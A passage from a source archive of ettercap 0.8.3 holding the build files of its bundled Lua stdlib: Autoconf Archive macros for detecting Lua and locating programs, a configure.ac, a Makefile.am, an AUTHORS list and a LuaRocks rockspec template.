A=`echo "$A" | sed "s/\(\([[0-9]]\{4\}\)\{m4_substr($2,2)\}\).*/\1/"` B=`echo "$B" | sed "s/\(\([[0-9]]\{4\}\)\{m4_substr($2,2)\}\).*/\1/"` ], [.+],[ AC_WARNING( [illegal OP numeric parameter: $2]) ],[]) # Pad zeros at end of numbers to make same length. ax_compare_version_tmp_A="$A`echo $B | sed 's/./0/g'`" B="$B`echo $A | sed 's/./0/g'`" A="$ax_compare_version_tmp_A" # Check for equality or inequality as necessary. m4_case(m4_tolower(m4_substr($2,0,2)), [eq],[ test "x$A" = "x$B" && ax_compare_version=true ], [ne],[ test "x$A" != "x$B" && ax_compare_version=true ],[ AC_WARNING([illegal OP parameter: $2]) ]) ]) AS_VAR_POPDEF([A])dnl AS_VAR_POPDEF([B])dnl dnl # Execute ACTION-IF-TRUE / ACTION-IF-FALSE. if test "$ax_compare_version" = "true" ; then m4_ifvaln([$4],[$4],[:])dnl m4_ifvaln([$5],[else $5])dnl fi ]) dnl AX_COMPARE_VERSION ettercap-0.8.3/src/lua/share/third-party/stdlib/m4/ax_lua.m40000644000175000017500000005771313505247364023446 0ustar koeppeakoeppea# =========================================================================== # http://www.gnu.org/software/autoconf-archive/ax_lua.html # =========================================================================== # # SYNOPSIS # # AX_PROG_LUA[([MINIMUM-VERSION], [TOO-BIG-VERSION], [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])] # AX_LUA_HEADERS[([ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])] # AX_LUA_LIBS[([ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])] # AX_LUA_READLINE[([ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND])] # # DESCRIPTION # # Detect a Lua interpreter, optionally specifying a minimum and maximum # version number. Set up important Lua paths, such as the directories in # which to install scripts and modules (shared libraries). # # Also detect Lua headers and libraries. The Lua version contained in the # header is checked to match the Lua interpreter version exactly. When # searching for Lua libraries, the version number is used as a suffix. # This is done with the goal of supporting multiple Lua installs (5.1 and # 5.2 side-by-side). # # A note on compatibility with previous versions: This file has been # mostly rewritten for serial 18. Most developers should be able to use # these macros without needing to modify configure.ac. Care has been taken # to preserve each macro's behavior, but there are some differences: # # 1) AX_WITH_LUA is deprecated; it now expands to the exact same thing as # AX_PROG_LUA with no arguments. # # 2) AX_LUA_HEADERS now checks that the version number defined in lua.h # matches the interpreter version. AX_LUA_HEADERS_VERSION is therefore # unnecessary, so it is deprecated and does not expand to anything. # # 3) The configure flag --with-lua-suffix no longer exists; the user # should instead specify the LUA precious variable on the command line. # See the AX_PROG_LUA description for details. # # Please read the macro descriptions below for more information. # # This file was inspired by Andrew Dalke's and James Henstridge's # python.m4 and Tom Payne's, Matthieu Moy's, and Reuben Thomas's ax_lua.m4 # (serial 17). Basically, this file is a mash-up of those two files. I # like to think it combines the best of the two! # # AX_PROG_LUA: Search for the Lua interpreter, and set up important Lua # paths. Adds precious variable LUA, which may contain the path of the Lua # interpreter. If LUA is blank, the user's path is searched for an # suitable interpreter. # # If MINIMUM-VERSION is supplied, then only Lua interpreters with a # version number greater or equal to MINIMUM-VERSION will be accepted. If # TOO-BIG- VERSION is also supplied, then only Lua interpreters with a # version number greater or equal to MINIMUM-VERSION and less than # TOO-BIG-VERSION will be accepted. # # Version comparisons require the AX_COMPARE_VERSION macro, which is # provided by ax_compare_version.m4 from the Autoconf Archive. # # The Lua version number, LUA_VERSION, is found from the interpreter, and # substituted. LUA_PLATFORM is also found, but not currently supported (no # standard representation). # # Finally, the macro finds four paths: # # luadir Directory to install Lua scripts. # pkgluadir $luadir/$PACKAGE # luaexecdir Directory to install Lua modules. # pkgluaexecdir $luaexecdir/$PACKAGE # # These paths a found based on $prefix, $exec_prefix, Lua's package.path, # and package.cpath. The first path of package.path beginning with $prefix # is selected as luadir. The first path of package.cpath beginning with # $exec_prefix is used as luaexecdir. This should work on all reasonable # Lua installations. If a path cannot be determined, a default path is # used. Of course, the user can override these later when invoking make. # # luadir Default: $prefix/share/lua/$LUA_VERSION # luaexecdir Default: $exec_prefix/lib/lua/$LUA_VERSION # # These directories can be used by Automake as install destinations. The # variable name minus 'dir' needs to be used as a prefix to the # appropriate Automake primary, e.g. lua_SCRIPS or luaexec_LIBRARIES. # # If an acceptable Lua interpreter is found, then ACTION-IF-FOUND is # performed, otherwise ACTION-IF-NOT-FOUND is preformed. If ACTION-IF-NOT- # FOUND is blank, then it will default to printing an error. To prevent # the default behavior, give ':' as an action. # # AX_LUA_HEADERS: Search for Lua headers. Requires that AX_PROG_LUA be # expanded before this macro. Adds precious variable LUA_INCLUDE, which # may contain Lua specific include flags, e.g. -I/usr/include/lua5.1. If # LUA_INCLUDE is blank, then this macro will attempt to find suitable # flags. # # LUA_INCLUDE can be used by Automake to compile Lua modules or # executables with embedded interpreters. The *_CPPFLAGS variables should # be used for this purpose, e.g. myprog_CPPFLAGS = $(LUA_INCLUDE). # # This macro searches for the header lua.h (and others). The search is # performed with a combination of CPPFLAGS, CPATH, etc, and LUA_INCLUDE. # If the search is unsuccessful, then some common directories are tried. # If the headers are then found, then LUA_INCLUDE is set accordingly. # # The paths automatically searched are: # # * /usr/include/luaX.Y # * /usr/include/lua/X.Y # * /usr/include/luaXY # * /usr/local/include/luaX.Y # * /usr/local/include/lua/X.Y # * /usr/local/include/luaXY # # (Where X.Y is the Lua version number, e.g. 5.1.) # # The Lua version number found in the headers is always checked to match # the Lua interpreter's version number. Lua headers with mismatched # version numbers are not accepted. # # If headers are found, then ACTION-IF-FOUND is performed, otherwise # ACTION-IF-NOT-FOUND is performed. If ACTION-IF-NOT-FOUND is blank, then # it will default to printing an error. To prevent the default behavior, # set the action to ':'. # # AX_LUA_LIBS: Search for Lua libraries. Requires that AX_PROG_LUA be # expanded before this macro. Adds precious variable LUA_LIB, which may # contain Lua specific linker flags, e.g. -llua5.1. If LUA_LIB is blank, # then this macro will attempt to find suitable flags. # # LUA_LIB can be used by Automake to link Lua modules or executables with # embedded interpreters. The *_LIBADD and *_LDADD variables should be used # for this purpose, e.g. mymod_LIBADD = $(LUA_LIB). # # This macro searches for the Lua library. More technically, it searches # for a library containing the function lua_load. The search is performed # with a combination of LIBS, LIBRARY_PATH, and LUA_LIB. # # If the search determines that some linker flags are missing, then those # flags will be added to LUA_LIB. # # If libraries are found, then ACTION-IF-FOUND is performed, otherwise # ACTION-IF-NOT-FOUND is performed. If ACTION-IF-NOT-FOUND is blank, then # it will default to printing an error. To prevent the default behavior, # set the action to ':'. # # AX_LUA_READLINE: Search for readline headers and libraries. Requires the # AX_LIB_READLINE macro, which is provided by ax_lib_readline.m4 from the # Autoconf Archive. # # If a readline compatible library is found, then ACTION-IF-FOUND is # performed, otherwise ACTION-IF-NOT-FOUND is performed. # # LICENSE # # Copyright (c) 2013 Tim Perkins # Copyright (c) 2013 Reuben Thomas # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation, either version 3 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program. If not, see . # # As a special exception, the respective Autoconf Macro's copyright owner # gives unlimited permission to copy, distribute and modify the configure # scripts that are the output of Autoconf when processing the Macro. You # need not follow the terms of the GNU General Public License when using # or distributing such scripts, even though portions of the text of the # Macro appear in them. The GNU General Public License (GPL) does govern # all other use of the material that constitutes the Autoconf Macro. # # This special exception to the GPL applies to versions of the Autoconf # Macro released by the Autoconf Archive. When you make and distribute a # modified version of the Autoconf Macro, you may extend this special # exception to the GPL to apply to your modified version as well. #serial 20 dnl ========================================================================= dnl AX_PROG_LUA([MINIMUM-VERSION], [TOO-BIG-VERSION], dnl [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND]) dnl ========================================================================= AC_DEFUN([AX_PROG_LUA], [ dnl Make LUA a precious variable. AC_ARG_VAR([LUA], [The Lua interpreter, e.g. /usr/bin/lua5.1]) dnl Find a Lua interpreter. m4_define_default([_AX_LUA_INTERPRETER_LIST], [lua lua5.2 lua5.1 lua50]) m4_if([$1], [], [ dnl No version check is needed. Find any Lua interpreter. AS_IF([test "x$LUA" = 'x'], [AC_PATH_PROGS([LUA], [_AX_LUA_INTERPRETER_LIST], [:])]) ax_display_LUA='lua' dnl At least check if this is a Lua interpreter. AC_MSG_CHECKING([if $LUA is a Lua interpreter]) _AX_LUA_CHK_IS_INTRP([$LUA], [AC_MSG_RESULT([yes])], [ AC_MSG_RESULT([no]) AC_MSG_ERROR([not a Lua interpreter]) ]) ], [ dnl A version check is needed. AS_IF([test "x$LUA" != 'x'], [ dnl Check if this is a Lua interpreter. AC_MSG_CHECKING([if $LUA is a Lua interpreter]) _AX_LUA_CHK_IS_INTRP([$LUA], [AC_MSG_RESULT([yes])], [ AC_MSG_RESULT([no]) AC_MSG_ERROR([not a Lua interpreter]) ]) dnl Check the version. m4_if([$2], [], [_ax_check_text="whether $LUA version >= $1"], [_ax_check_text="whether $LUA version >= $1, < $2"]) AC_MSG_CHECKING([$_ax_check_text]) _AX_LUA_CHK_VER([$LUA], [$1], [$2], [AC_MSG_RESULT([yes])], [ AC_MSG_RESULT([no]) AC_MSG_ERROR([version is out of range for specified LUA])]) ax_display_LUA=$LUA ], [ dnl Try each interpreter until we find one that satisfies VERSION. m4_if([$2], [], [_ax_check_text="for a Lua interpreter with version >= $1"], [_ax_check_text="for a Lua interpreter with version >= $1, < $2"]) AC_CACHE_CHECK([$_ax_check_text], [ax_cv_pathless_LUA], [ for ax_cv_pathless_LUA in _AX_LUA_INTERPRETER_LIST none; do test "x$ax_cv_pathless_LUA" = 'xnone' && break _AX_LUA_CHK_IS_INTRP([$ax_cv_pathless_LUA], [], [continue]) _AX_LUA_CHK_VER([$ax_cv_pathless_LUA], [$1], [$2], [break]) done ]) dnl Set $LUA to the absolute path of $ax_cv_pathless_LUA. AS_IF([test "x$ax_cv_pathless_LUA" = 'xnone'], [LUA=':'], [AC_PATH_PROG([LUA], [$ax_cv_pathless_LUA])]) ax_display_LUA=$ax_cv_pathless_LUA ]) ]) AS_IF([test "x$LUA" = 'x:'], [ dnl Run any user-specified action, or abort. m4_default([$4], [AC_MSG_ERROR([cannot find suitable Lua interpreter])]) ], [ dnl Query Lua for its version number. AC_CACHE_CHECK([for $ax_display_LUA version], [ax_cv_lua_version], [ ax_cv_lua_version=`$LUA -e "print(_VERSION)" | \ sed "s|^Lua \(.*\)|\1|" | \ grep -o "^@<:@0-9@:>@\+\\.@<:@0-9@:>@\+"` ]) AS_IF([test "x$ax_cv_lua_version" = 'x'], [AC_MSG_ERROR([invalid Lua version number])]) AC_SUBST([LUA_VERSION], [$ax_cv_lua_version]) AC_SUBST([LUA_SHORT_VERSION], [`echo "$LUA_VERSION" | sed 's|\.||'`]) dnl The following check is not supported: dnl At times (like when building shared libraries) you may want to know dnl which OS platform Lua thinks this is. AC_CACHE_CHECK([for $ax_display_LUA platform], [ax_cv_lua_platform], [ax_cv_lua_platform=`$LUA -e "print('unknown')"`]) AC_SUBST([LUA_PLATFORM], [$ax_cv_lua_platform]) dnl Use the values of $prefix and $exec_prefix for the corresponding dnl values of LUA_PREFIX and LUA_EXEC_PREFIX. These are made distinct dnl variables so they can be overridden if need be. However, the general dnl consensus is that you shouldn't need this ability. AC_SUBST([LUA_PREFIX], ['${prefix}']) AC_SUBST([LUA_EXEC_PREFIX], ['${exec_prefix}']) dnl Lua provides no way to query the script directory, and instead dnl provides LUA_PATH. However, we should be able to make a safe educated dnl guess. If the built-in search path contains a directory which is dnl prefixed by $prefix, then we can store scripts there. The first dnl matching path will be used. AC_CACHE_CHECK([for $ax_display_LUA script directory], [ax_cv_lua_luadir], [ AS_IF([test "x$prefix" = 'xNONE'], [ax_lua_prefix=$ac_default_prefix], [ax_lua_prefix=$prefix]) dnl Initialize to the default path. ax_cv_lua_luadir="$LUA_PREFIX/share/lua/$LUA_VERSION" dnl Try to find a path with the prefix. _AX_LUA_FND_PRFX_PTH([$LUA], [$ax_lua_prefix], [package.path]) AS_IF([test "x$ax_lua_prefixed_path" != 'x'], [ dnl Fix the prefix. _ax_strip_prefix=`echo "$ax_lua_prefix" | sed 's|.|.|g'` ax_cv_lua_luadir=`echo "$ax_lua_prefixed_path" | \ sed "s,^$_ax_strip_prefix,$LUA_PREFIX,"` ]) ]) AC_SUBST([luadir], [$ax_cv_lua_luadir]) AC_SUBST([pkgluadir], [\${luadir}/$PACKAGE]) dnl Lua provides no way to query the module directory, and instead dnl provides LUA_PATH. However, we should be able to make a safe educated dnl guess. If the built-in search path contains a directory which is dnl prefixed by $exec_prefix, then we can store modules there. The first dnl matching path will be used. AC_CACHE_CHECK([for $ax_display_LUA module directory], [ax_cv_lua_luaexecdir], [ AS_IF([test "x$exec_prefix" = 'xNONE'], [ax_lua_exec_prefix=$ax_lua_prefix], [ax_lua_exec_prefix=$exec_prefix]) dnl Initialize to the default path. ax_cv_lua_luaexecdir="$LUA_EXEC_PREFIX/lib/lua/$LUA_VERSION" dnl Try to find a path with the prefix. _AX_LUA_FND_PRFX_PTH([$LUA], [$ax_lua_exec_prefix], [package.cpathd]) AS_IF([test "x$ax_lua_prefixed_path" != 'x'], [ dnl Fix the prefix. _ax_strip_prefix=`echo "$ax_lua_exec_prefix" | sed 's|.|.|g'` ax_cv_lua_luaexecdir=`echo "$ax_lua_prefixed_path" | \ sed "s,^$_ax_strip_prefix,$LUA_EXEC_PREFIX,"` ]) ]) AC_SUBST([luaexecdir], [$ax_cv_lua_luaexecdir]) AC_SUBST([pkgluaexecdir], [\${luaexecdir}/$PACKAGE]) dnl Run any user specified action. $3 ]) ]) dnl AX_WITH_LUA is now the same thing as AX_PROG_LUA. AC_DEFUN([AX_WITH_LUA], [ AC_MSG_WARN([[$0 is deprecated, please use AX_PROG_LUA]]) AX_PROG_LUA ]) dnl ========================================================================= dnl _AX_LUA_CHK_IS_INTRP(PROG, [ACTION-IF-TRUE], [ACTION-IF-FALSE]) dnl ========================================================================= AC_DEFUN([_AX_LUA_CHK_IS_INTRP], [ dnl Just print _VERSION because all Lua interpreters have this global. AS_IF([$1 -e "print('Hello ' .. _VERSION .. '!')" &>/dev/null], [$2], [$3]) ]) dnl ========================================================================= dnl _AX_LUA_CHK_VER(PROG, MINIMUM-VERSION, [TOO-BIG-VERSION], dnl [ACTION-IF-TRUE], [ACTION-IF-FALSE]) dnl ========================================================================= AC_DEFUN([_AX_LUA_CHK_VER], [ _ax_test_ver=`$1 -e "print(_VERSION)" 2>/dev/null | \ sed "s|^Lua \(.*\)|\1|" | grep -o "^@<:@0-9@:>@\+\\.@<:@0-9@:>@\+"` AS_IF([test "x$_ax_test_ver" = 'x'], [_ax_test_ver='0']) AX_COMPARE_VERSION([$_ax_test_ver], [ge], [$2]) m4_if([$3], [], [], [ AS_IF([$ax_compare_version], [AX_COMPARE_VERSION([$_ax_test_ver], [lt], [$3])]) ]) AS_IF([$ax_compare_version], [$4], [$5]) ]) dnl ========================================================================= dnl _AX_LUA_FND_PRFX_PTH(PROG, PREFIX, LUA-PATH-VARIABLE) dnl ========================================================================= AC_DEFUN([_AX_LUA_FND_PRFX_PTH], [ dnl Invokes the Lua interpreter PROG to print the path variable dnl LUA-PATH-VARIABLE, usually package.path or package.cpath. Paths are dnl then matched against PREFIX. The first path to begin with PREFIX is set dnl to ax_lua_prefixed_path. ax_lua_prefixed_path='' _ax_package_paths=`$1 -e 'print($3)' 2>/dev/null | sed 's|;|\n|g'` dnl Try the paths in order, looking for the prefix. for _ax_package_path in $_ax_package_paths; do dnl Copy the path, up to the use of a Lua wildcard. _ax_path_parts=`echo "$_ax_package_path" | sed 's|/|\n|g'` _ax_reassembled='' for _ax_path_part in $_ax_path_parts; do echo "$_ax_path_part" | grep '\?' >/dev/null && break _ax_reassembled="$_ax_reassembled/$_ax_path_part" done dnl Check the path against the prefix. _ax_package_path=$_ax_reassembled if echo "$_ax_package_path" | grep "^$2" >/dev/null; then dnl Found it. ax_lua_prefixed_path=$_ax_package_path break fi done ]) dnl ========================================================================= dnl AX_LUA_HEADERS([ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND]) dnl ========================================================================= AC_DEFUN([AX_LUA_HEADERS], [ dnl Check for LUA_VERSION. AC_MSG_CHECKING([if LUA_VERSION is defined]) AS_IF([test "x$LUA_VERSION" != 'x'], [AC_MSG_RESULT([yes])], [ AC_MSG_RESULT([no]) AC_MSG_ERROR([cannot check Lua headers without knowing LUA_VERSION]) ]) dnl Make LUA_INCLUDE a precious variable. AC_ARG_VAR([LUA_INCLUDE], [The Lua includes, e.g. -I/usr/include/lua5.1]) dnl Some default directories to search. LUA_SHORT_VERSION=`echo "$LUA_VERSION" | sed 's|\.||'` m4_define_default([_AX_LUA_INCLUDE_LIST], [ /usr/include/lua$LUA_VERSION \ /usr/include/lua/$LUA_VERSION \ /usr/include/lua$LUA_SHORT_VERSION \ /usr/local/include/lua$LUA_VERSION \ /usr/local/include/lua/$LUA_VERSION \ /usr/local/include/lua$LUA_SHORT_VERSION \ ]) dnl Try to find the headers. _ax_lua_saved_cppflags=$CPPFLAGS CPPFLAGS="$CPPFLAGS $LUA_INCLUDE" AC_CHECK_HEADERS([lua.h lualib.h lauxlib.h luaconf.h]) CPPFLAGS=$_ax_lua_saved_cppflags dnl Try some other directories if LUA_INCLUDE was not set. AS_IF([test "x$LUA_INCLUDE" = 'x' && test "x$ac_cv_header_lua_h" != 'xyes'], [ dnl Try some common include paths. for _ax_include_path in _AX_LUA_INCLUDE_LIST; do test ! -d "$_ax_include_path" && continue AC_MSG_CHECKING([for Lua headers in]) AC_MSG_RESULT([$_ax_include_path]) AS_UNSET([ac_cv_header_lua_h]) AS_UNSET([ac_cv_header_lualib_h]) AS_UNSET([ac_cv_header_lauxlib_h]) AS_UNSET([ac_cv_header_luaconf_h]) _ax_lua_saved_cppflags=$CPPFLAGS CPPFLAGS="$CPPFLAGS -I$_ax_include_path" AC_CHECK_HEADERS([lua.h lualib.h lauxlib.h luaconf.h]) CPPFLAGS=$_ax_lua_saved_cppflags AS_IF([test "x$ac_cv_header_lua_h" = 'xyes'], [ LUA_INCLUDE="-I$_ax_include_path" break ]) done ]) AS_IF([test "x$ac_cv_header_lua_h" = 'xyes'], [ dnl Make a program to print LUA_VERSION defined in the header. dnl TODO This probably shouldn't be a runtime test. AC_CACHE_CHECK([for Lua header version], [ax_cv_lua_header_version], [ _ax_lua_saved_cppflags=$CPPFLAGS CPPFLAGS="$CPPFLAGS $LUA_INCLUDE" AC_RUN_IFELSE( [ AC_LANG_SOURCE([[ #include #include #include int main(int argc, char ** argv) { if(argc > 1) printf("%s", LUA_VERSION); exit(EXIT_SUCCESS); } ]]) ], [ ax_cv_lua_header_version=`./conftest$EXEEXT p | \ sed "s|^Lua \(.*\)|\1|" | \ grep -o "^@<:@0-9@:>@\+\\.@<:@0-9@:>@\+"` ], [ax_cv_lua_header_version='unknown']) CPPFLAGS=$_ax_lua_saved_cppflags ]) dnl Compare this to the previously found LUA_VERSION. AC_MSG_CHECKING([if Lua header version matches $LUA_VERSION]) AS_IF([test "x$ax_cv_lua_header_version" = "x$LUA_VERSION"], [ AC_MSG_RESULT([yes]) ax_header_version_match='yes' ], [ AC_MSG_RESULT([no]) ax_header_version_match='no' ]) ]) dnl Was LUA_INCLUDE specified? AS_IF([test "x$ax_header_version_match" != 'xyes' && test "x$LUA_INCLUDE" != 'x'], [AC_MSG_ERROR([cannot find headers for specified LUA_INCLUDE])]) dnl Test the final result and run user code. AS_IF([test "x$ax_header_version_match" = 'xyes'], [$1], [m4_default([$2], [AC_MSG_ERROR([cannot find Lua includes])])]) ]) dnl AX_LUA_HEADERS_VERSION no longer exists, use AX_LUA_HEADERS. AC_DEFUN([AX_LUA_HEADERS_VERSION], [ AC_MSG_WARN([[$0 is deprecated, please use AX_LUA_HEADERS]]) ]) dnl ========================================================================= dnl AX_LUA_LIBS([ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND]) dnl ========================================================================= AC_DEFUN([AX_LUA_LIBS], [ dnl TODO Should this macro also check various -L flags? dnl Check for LUA_VERSION. AC_MSG_CHECKING([if LUA_VERSION is defined]) AS_IF([test "x$LUA_VERSION" != 'x'], [AC_MSG_RESULT([yes])], [ AC_MSG_RESULT([no]) AC_MSG_ERROR([cannot check Lua libs without knowing LUA_VERSION]) ]) dnl Make LUA_LIB a precious variable. AC_ARG_VAR([LUA_LIB], [The Lua library, e.g. -llua5.1]) AS_IF([test "x$LUA_LIB" != 'x'], [ dnl Check that LUA_LIBS works. _ax_lua_saved_libs=$LIBS LIBS="$LIBS $LUA_LIB" AC_SEARCH_LIBS([lua_load], [], [_ax_found_lua_libs='yes'], [_ax_found_lua_libs='no']) LIBS=$_ax_lua_saved_libs dnl Check the result. AS_IF([test "x$_ax_found_lua_libs" != 'xyes'], [AC_MSG_ERROR([cannot find libs for specified LUA_LIB])]) ], [ dnl First search for extra libs. _ax_lua_extra_libs='' _ax_lua_saved_libs=$LIBS LIBS="$LIBS $LUA_LIB" AC_SEARCH_LIBS([exp], [m]) AC_SEARCH_LIBS([dlopen], [dl]) LIBS=$_ax_lua_saved_libs AS_IF([test "x$ac_cv_search_exp" != 'xno' && test "x$ac_cv_search_exp" != 'xnone required'], [_ax_lua_extra_libs="$_ax_lua_extra_libs $ac_cv_search_exp"]) AS_IF([test "x$ac_cv_search_dlopen" != 'xno' && test "x$ac_cv_search_dlopen" != 'xnone required'], [_ax_lua_extra_libs="$_ax_lua_extra_libs $ac_cv_search_dlopen"]) dnl Try to find the Lua libs. _ax_lua_saved_libs=$LIBS LIBS="$LIBS $LUA_LIB" AC_SEARCH_LIBS([lua_load], [lua$LUA_VERSION lua$LUA_SHORT_VERSION lua], [_ax_found_lua_libs='yes'], [_ax_found_lua_libs='no'], [$_ax_lua_extra_libs]) LIBS=$_ax_lua_saved_libs AS_IF([test "x$ac_cv_search_lua_load" != 'xno' && test "x$ac_cv_search_lua_load" != 'xnone required'], [LUA_LIB="$ac_cv_search_lua_load $_ax_lua_extra_libs"]) ]) dnl Test the result and run user code. AS_IF([test "x$_ax_found_lua_libs" = 'xyes'], [$1], [m4_default([$2], [AC_MSG_ERROR([cannot find Lua libs])])]) ]) dnl ========================================================================= dnl AX_LUA_READLINE([ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND]) dnl ========================================================================= AC_DEFUN([AX_LUA_READLINE], [ AX_LIB_READLINE AS_IF([test "x$ac_cv_header_readline_readline_h" != 'x' && test "x$ac_cv_header_readline_history_h" != 'x'], [ LUA_LIBS_CFLAGS="-DLUA_USE_READLINE $LUA_LIBS_CFLAGS" $1 ], [$2]) ]) ettercap-0.8.3/src/lua/share/third-party/stdlib/m4/ax_with_prog.m40000644000175000017500000000471113505247364024655 0ustar koeppeakoeppea# =========================================================================== # http://www.gnu.org/software/autoconf-archive/ax_with_prog.html # =========================================================================== # # SYNOPSIS # # AX_WITH_PROG([VARIABLE],[program],[VALUE-IF-NOT-FOUND],[PATH]) # # DESCRIPTION # # Locates an installed program binary, placing the result in the precious # variable VARIABLE. Accepts a present VARIABLE, then --with-program, and # failing that searches for program in the given path (which defaults to # the system path). If program is found, VARIABLE is set to the full path # of the binary; if it is not found VARIABLE is set to VALUE-IF-NOT-FOUND # if provided, unchanged otherwise. # # A typical example could be the following one: # # AX_WITH_PROG(PERL,perl) # # NOTE: This macro is based upon the original AX_WITH_PYTHON macro from # Dustin J. Mitchell . # # LICENSE # # Copyright (c) 2008 Francesco Salvestrini # Copyright (c) 2008 Dustin J. Mitchell # # Copying and distribution of this file, with or without modification, are # permitted in any medium without royalty provided the copyright notice # and this notice are preserved. This file is offered as-is, without any # warranty. #serial 16 AC_DEFUN([AX_WITH_PROG],[ AC_PREREQ([2.61]) pushdef([VARIABLE],$1) pushdef([EXECUTABLE],$2) pushdef([VALUE_IF_NOT_FOUND],$3) pushdef([PATH_PROG],$4) AC_ARG_VAR(VARIABLE,Absolute path to EXECUTABLE executable) AS_IF(test -z "$VARIABLE",[ AC_MSG_CHECKING(whether EXECUTABLE executable path has been provided) AC_ARG_WITH(EXECUTABLE,AS_HELP_STRING([--with-EXECUTABLE=[[[PATH]]]],absolute path to EXECUTABLE executable), [ AS_IF([test "$withval" != yes && test "$withval" != no],[ VARIABLE="$withval" AC_MSG_RESULT($VARIABLE) ],[ VARIABLE="" AC_MSG_RESULT([no]) AS_IF([test "$withval" != no], [ AC_PATH_PROG([]VARIABLE[],[]EXECUTABLE[],[]VALUE_IF_NOT_FOUND[],[]PATH_PROG[]) ]) ]) ],[ AC_MSG_RESULT([no]) AC_PATH_PROG([]VARIABLE[],[]EXECUTABLE[],[]VALUE_IF_NOT_FOUND[],[]PATH_PROG[]) ]) ]) popdef([PATH_PROG]) popdef([VALUE_IF_NOT_FOUND]) popdef([EXECUTABLE]) popdef([VARIABLE]) ]) ettercap-0.8.3/src/lua/share/third-party/stdlib/CMakeLists.txt0000644000175000017500000000006213505247364024134 0ustar koeppeakoeppea set(LUA_STDLIB_VERSION 34) add_subdirectory(src) ettercap-0.8.3/src/lua/share/third-party/stdlib/configure.ac0000644000175000017500000000065713505247364023674 0ustar koeppeakoeppeadnl Process this file with autoconf to produce a configure script dnl Initialise autoconf and automake AC_INIT(stdlib, 34, rrt@sc3d.org) AC_CONFIG_AUX_DIR([build-aux]) AM_INIT_AUTOMAKE([foreign]) AM_SILENT_RULES([yes]) dnl Lua AC_SUBST([LUA_MIN_VERSION], [5.1]) AX_PROG_LUA([$LUA_MIN_VERSION], [5.3]) AX_WITH_PROG([LUADOC], [luadoc], [:]) dnl Generate output files AC_CONFIG_MACRO_DIR(m4) AC_CONFIG_FILES([Makefile]) AC_OUTPUT ettercap-0.8.3/src/lua/share/third-party/stdlib/AUTHORS0000644000175000017500000000175313505247364022454 0ustar koeppeakoeppea Stdlib's contributors --------------------- This file lists major contributors to stdlib. If you think you should be on it, please tell the mailing list (see README for the address). Thanks also to all those who have contributed bug fixes, suggestions and support. Reuben Thomas started and maintains the standard libraries project, wrote many of the libraries, and integrated code from other authors. John Belmonte helped set the project up on lua-users, and contributed to the early organisation of the libraries. The call trace debugging code is based on test/trace-calls.lua from the Lua 5.0 distribution. Jamie Webb contributed several miscellaneous functions from his private standard library. Johann Hibschman supplied the code on which math.floor and math.round were based. Diego Nehab wrote the original version of the mbox parser module. Gary V. Vaughan contributed table key support to the tree module, and the memoize implementation. ettercap-0.8.3/src/lua/share/third-party/stdlib/Makefile.am0000644000175000017500000000404213505247364023432 0ustar koeppeakoeppea## Process this file with automake to produce Makefile.in ACLOCAL_AMFLAGS = -I m4 src_spec = $(abs_srcdir)/src/?.lua LUA_PATH ?= ; LUA_ENV = LUA_PATH="$(src_spec);$(LUA_PATH)" SPEC_ENV = LUA_PATH="$(src_spec);$(LUA_PATH)" SPECL_MIN = 3 NOTHING_ELSE = SOURCES = \ src/base.lua \ src/bin.lua \ src/debug_ext.lua \ src/debug_init.lua \ src/fstable.lua \ src/getopt.lua \ src/io_ext.lua \ src/lcs.lua \ src/list.lua \ src/math_ext.lua \ src/mbox.lua \ src/modules.lua \ src/object.lua \ src/package_ext.lua \ src/parser.lua \ src/set.lua \ src/std.lua \ src/strbuf.lua \ src/strict.lua \ src/string_ext.lua \ src/table_ext.lua \ src/tree.lua \ src/xml.lua \ $(NOTHING_ELSE) SPECS = \ $(srcdir)/specs/getopt_spec.yaml \ $(srcdir)/specs/package_ext_spec.yaml \ $(srcdir)/specs/string_ext_spec.yaml \ $(srcdir)/specs/table_ext_spec.yaml \ $(NOTHING_ELSE) dist_data_DATA = $(SOURCES) dist_doc_DATA = \ $(top_srcdir)/src/index.html \ $(top_srcdir)/src/luadoc.css filesdir = $(docdir)/files dist_files_DATA = $(wildcard $(top_srcdir)/src/files/*.html) modulesdir = $(docdir)/modules dist_modules_DATA = $(wildcard $(top_srcdir)/src/modules/*.html) EXTRA_DIST = \ src/std.lua.in \ GNUmakefile \ $(SPECS) \ $(NOTHING_ELSE) DISTCLEANFILES = $(PACKAGE).rockspec # In order to avoid regenerating std.lua at configure time, which # causes the documentation to be rebuilt and hence requires users to # have luadoc installed, put src/std.lua in as a Makefile dependency. # (Strictly speaking, distributing an AC_CONFIG_FILE would be wrong.) src/std.lua: src/std.lua.in ./config.status --file=$@ $(dist_doc_DATA): $(SOURCES) cd src && $(LUADOC) *.lua check-local: @v=`specl --version | sed -e 's|^.* ||' -e 1q`; \ if test "$$v" -lt "$(SPECL_MIN)"; then \ echo "ERROR: Specl version $$v is too old, please upgrade to at least version $(SPECL_MIN),";\ echo "ERROR: and rerun \`make check\`"; \ exit 1; \ else \ $(SPEC_ENV) specl $(SPECL_OPTS) $(SPECS); \ fi ettercap-0.8.3/src/lua/share/third-party/stdlib/stdlib.rockspec.in0000644000175000017500000000137513505247364025025 0ustar koeppeakoeppeapackage="stdlib" version="@VERSION@-1" source = { url = "git://github.com/rrthomas/lua-stdlib.git", branch = "release-v@VERSION@", } description = { summary = "General Lua libraries", detailed = [[ stdlib is a library of modules for common programming tasks, including list, table and functional operations, regexps, objects, pickling, pretty-printing and getopt. ]], homepage = "http://github.com/rrthomas/lua-stdlib/", license = "MIT/X11" } dependencies = { "lua >= @LUA_MIN_VERSION@" } build = { type = "command", build_command = "LUA=$(LUA) CPPFLAGS=-I$(LUA_INCDIR) ./configure --prefix=$(PREFIX) --libdir=$(LIBDIR) --datadir=$(LUADIR) && make clean && make", install_command = "make install", copy_directories = {} } 